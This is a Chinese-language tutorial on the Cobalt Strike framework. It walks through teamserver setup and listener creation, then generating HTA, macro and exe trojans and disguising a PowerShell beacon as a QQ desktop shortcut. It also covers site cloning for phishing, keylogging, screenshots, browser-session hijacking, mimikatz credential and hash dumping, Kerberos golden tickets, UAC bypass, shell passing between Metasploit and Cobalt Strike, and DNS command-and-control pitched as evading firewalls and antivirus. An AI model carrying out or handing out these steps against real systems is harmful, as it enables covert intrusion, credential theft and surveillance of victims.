0x00 简介
Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,当然可以结合Armitage进行使用。
cobalt strike从3.0 开始,不再依赖于Metasploit框架而是作为一个独立的平台使用。本次服务器搭建过程使用cobaltstrike3.8。3.0之前的版本,teamserver搭建过程则需要安装配置msf,这里不在赘述。
0x01 运行
与之前版本的 Cobalt Strike不同, Cobalt Strike3.0需要开启团体服务器才可以链接使用,当然,这个服务器可以放到公网环境下,或者放到自己想要搭建此服务的环境中。 下载好Cobalt Strike以后包含以下几个文件:
其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:
-
☁ cobaltstrike sudo ./teamserver 192.168.74.1 msf3
这里为了方便使用,最好使用具体的ip地址,而不是0.0.0.0或者127.0.0.1, 如果有多个网卡,使用你要用的那个ip地址即可,
msf3
为该团体服务器的连接密码。
但是这个终端一关闭团队服务器也就关闭了,这里我们可以把他置于后台来运行:
这样就可以了,这个目录下会生成一个nohup.out的文件
服务运行以后,在客户端进行连接:
-
☁ cobaltstrike java - XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
这里ip使用服务器的ip,端口默认50050,用户名随意,密码为之前设置的密码,然后connect,弹出验证窗口,然后点是,就进入Cobalt Strike了。
0x02 Listeners
使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.0包括
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https
- windows/beacon_smb/bind_pipe
- windows/foreign/reverse_dns_txt
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
其中windows/beacon*
是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign*
为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。
0x03 Attacks
创建好监听器,下面就需要配置客户端了,Cobalt Strike包括多种攻击方式,其中Packages包括如下几种:
1)Packages
这个选项中包含了多种攻击方式。
HTML Application 生成恶意的HTA木马文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各种语言版本的payload; USB/CD AutoPlay 生成利用自动播放运行的木马文件; Windows Dropper 捆绑器,能够对文档类进行捆绑; Windows Executable 生成可执行exe木马; Windows Executable(S) 生成无状态的可执行exe木马
举例
HTML Application 生成一个基于powershell的恶意HTA木马
选中attack–>packages–>HTML Application
选择基于powershell的HTA木马
点击Generate保存录即可生成一个HTA木马
当目标点击HTA木马后即可获得一个beacon
MS Office Macro 生成office宏病毒文件
可以参考:Office Phishing
2)Web Drive-by(钓鱼攻击)
Manage 对开启的web服务进行管理; Clone Site 克隆网站,可以记录受害者提交的数据; Host File 提供一个文件下载,可以修改Mime信息;Host File 可以配合DNS欺骗实现挂马效果使用 PowerShell Web Delivery 类似于msf 的web_delivery ; Signed Applet Attack 使用java自签名的程序进行钓鱼攻击; Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本; System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。 Spear Phish 用来邮件钓鱼的模块
还有其他的模块其实都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同
powershell web-Drive-by制作快捷方式后门:
依次选择attack–>web-Drive-by–>powershell Drive-by URI Path:/ Local Port:80 Listener:saya Laubch生成之后会输出一条语句这条语句在powershell运行会得到一个beacon但是一般人不会这么去运行 随便复制一个软件的快捷方式 这里以QQ快捷方式为例子目标,复制我们的powershell语句,起始位置清空,粘贴我们的语句,"应用",当目标点击快捷方式获得beacon
3)View
View模块可以方便测试者查看各个模块,图形化的界面可以方便的看到受害者机器的各个信息。
Applications 显示受害者机器的应用信息; Credentials 显示受害者机器的凭证信息,能更方便的进行后续渗透; Downloads 文件下载; Event Log 可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天; Keystrokes 查看键盘记录; Proxy Pivots 查看代理信息; Screenshots 查看屏幕截图; Script Console 在这里可以加载各种脚本以增强功能,脚本地址:https://github.com/rsmudge/cortana-scripts Targets 查看目标; Web Log 查看web日志。 Reporting 主要就是出报告用的
(4)Beacon
Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了
右击电脑,Interact,则可打开Beacon Console;为了能快速显示结果,可以设置 beacon>sleep 0
在beacon处输入help,则可以看到详细说明:
beacon> help Beacon Commands =============== Command Description ------- ----------- browserpivot Setup a browser pivot session bypassuac Spawn a session in a high integrity process cancel Cancel a download that's in-progress cd Change directory checkin Call home and post data clear Clear beacon queue covertvpn Deploy Covert VPN client desktop View and interact with target's desktop dllinject Inject a Reflective DLL into a process download Download a file downloads Lists file downloads in progress drives List drives on target elevate Try to elevate privileges execute Execute a program on target exit Terminate the beacon session getsystem Attempt to get SYSTEM getuid Get User ID hashdump Dump password hashes help Help menu inject Spawn a session in a specific process jobkill Kill a long-running post-exploitation task jobs List long-running post-exploitation tasks kerberos_ccache_use Apply kerberos ticket from cache to this session kerberos_ticket_purge Purge kerberos tickets from this session kerberos_ticket_use Apply kerberos ticket to this session keylogger Inject a keystroke logger into a process kill Kill a process link Connect to a Beacon peer over SMB logonpasswords Dump credentials and hashes with mimikatz ls List files make_token Create a token to pass credentials mimikatz Runs a mimikatz command mkdir Make a directory mode dns Use DNS A as data channel (DNS beacon only) mode dns-txt Use DNS TXT as data channel (DNS beacon only) mode http Use HTTP as data channel mode smb Use SMB peer-to-peer communication net Network and host enumeration tool note Assign a note to this Beacon portscan Scan a network for open services powershell Execute a command via powershell powershell-import Import a powershell script ps Show process list psexec Use a service to spawn a session on a host psexec_psh Use PowerShell to spawn a session on a host pth Pass-the-hash using Mimikatz pwd Print current directory rev2self Revert to original token rm Remove a file or folder rportfwd Setup a reverse port forward runas Execute a program as another user screenshot Take a screenshot shell Execute a command via cmd.exe sleep Set beacon sleep time socks Start SOCKS4a server to relay traffic socks stop Stop SOCKS4a server spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into steal_token Steal access token from a process timestomp Apply timestamps from one file to another unlink Disconnect from parent Beacon upload Upload a file wdigest Dump plaintext credentials with mimikatz winrm Use WinRM to spawn a session on a host wmi Use WMI to spawn a session on a host
对于某个模块的使用方式可以直接使用help查看,如:
beacon> help browserpivot Use: browserpivot [pid] [x86|x64] browserpivot [stop] Setup a Browser Pivot into the specified process. To hijack authenticated web sessions, make sure the process is an Internet Explorer tab. These processes have iexplore.exe as their parent process. Use "browserpivot stop" to tear down the browser pivoting sessions associated with this Beacon. 复制代码
下面主要介绍几个好玩儿的功能。这里为了能快速显示结果,可以设置
beacon>sleep 0 复制代码
1)Browserpivot
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。
使用方式
ps找到浏览器进程PID,如iexplorer.exe,为3452 注入进程:beacon> browserpivot 3452(PID) x64(架构) 注入浏览器进程成功之后,会显示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号 设置本地HTTP浏览器代理
当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:browserpivot stop
2)Socks
直接开启socks4a代理,可以通过代理进行内网渗透测试。
开启socksbeacon>socks 9999 这里可以选择其中一台,右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理。 配置proxychains.conf,添加: socks4 127.0.0.1 9999 然后就可以通过proxychains 等各种工具做内网渗透了。
msf中开启隧道使用(在连接数据库的情况下,msf会与本地数据库断开)
msf>setg Proxies socks:192.168.1.103.53790
关闭socks:beacon>socks stop
3)Screenshot
这里的screenshot可以截取受害者一定时间的屏幕截图,操作命令为:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
然后打开View->Screenshots,则可以看到屏幕截图
4)Keylogger键盘记录器
keylogger [pid] <x86|x64>
然后打开View->Keystrokes,则可以看到键盘记录结果
如果不想使用命令行,可以直接选择受害者计算机(可多选)
5)powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,比如nishang的powerpreter,直接执行:
beacon> powershell-import
然后在文件浏览器里面选择 Powerpreter.psm1
或者直接执行:
powershell-import [/path/to/local/script.ps1]
进行导入,之后就可以使用powerpreter的各种模块了。
要执行某模块直接使用如下命令,比如:beacon> powershell Check-VM
关于powerpreter之前在zone有简单的介绍,powershell
后渗透框架 powerpreter。
6)kerberos
这里一共有三个模块,分别是:
kerberos_ccache_use 从ccache文件中导入票据 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据
使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
乌云关于kerberos也有相关文章
http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz
http://drops.wooyun.org/tips/9591 域渗透的金之钥匙
7)BypassUAC
直接执行:
beacon> bypassuac
下面你就可以执行那些需要最高权限的操作了。
这一块在测试Win10的时候并没有成功,关于Win10的bypassuac可以参考这篇文章:
使用一个作者修改的powershell脚本 invoke-BypassUAC.ps1
生成一个beacon后门: Windows Executable Listener:reverse_http Output: Windows EXE 上传后门: beacon> cd E: beacon> upload /Users/evi1cg/Desktop/test.exe 加载powershell执行后门: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1 beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那个破了的电脑的beacon读取密码: beacon> sleep 0 beacon> wdigest beacon> hashdump
高级用法:
1.cobalt strike 派生shell给metasploit
首先我们使用msf的reverse_tcp开启监听模式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
之后使用Cobalt Strike创建一个
windows/foreign/reverse_tcp Listener
其中ip为msf的ip地址,端口为msf所监听的端口。
然后选中计算机,右键->Spawn,选择刚刚创建的监听器:
msf中即可看到成功获取了meterpreter会话
2.metasploit 派生shell给cobalt strike
你前提需要有一个meterpreter会话 ,然后我们使用这个模块
exploit/windows/local/payload_inject
功能是注入一个新的payload 到当前的session里面
我们先在cobaltstrike上创建一个监听器,等会用于接收msf派生的shell,这里我使用
windows/beacon_http/reverse_http
然后在msf中
use exploit/windows/local/payload_inject msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http msf exploit(payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(payload_inject) > set LHOST 192.168.81.135 LHOST => 192.168.81.135 msf exploit(payload_inject) > set LPORT 8880 LPORT => 8880 msf exploit(payload_inject) > set SESSION 1 SESSION => 1 msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 3916 msf exploit(payload_inject) >
解释下:
cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,
所以我们msf的payload要使用:windows/meterpreter/reverse_http
设置msf本地监听ip和端口为cobaltstrike机器的ip和端口
默认情况下,payload_inject执行之后会在本地产生一个新的handler,
由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置
set DisablePayloadHandler true
如果出现错误,PID does not actually exist,可以设置一下注入进程的pid。set pid 进程号
3.通过DNS控制目标
Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。通过DNS来控制目标和渗透好处是不开端口,能绕过大部分防火墙,隐蔽性好等等。详细文章可参考这篇博文。
1. 域名设置
(1)首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
(2)然后再创建2个或3个ns记录指向刚才创建的A记录。这样我们就可以通过dns找到我们的metasploit服务器了。
2. Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
Edit Listener Payload windows/beacon_dns/reverse_http host port 80
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录。接下来创建一个木马测试下。
3. 木马生成
在attack->packages中找到windows木马生成
Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。
(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面
4.设置传输模式
传输有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多。命令
beacon> mode dns-txt(这里可以用TAB补齐命令的)
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令的返回结果比较慢,在过防火墙方面还是不错的。
拓展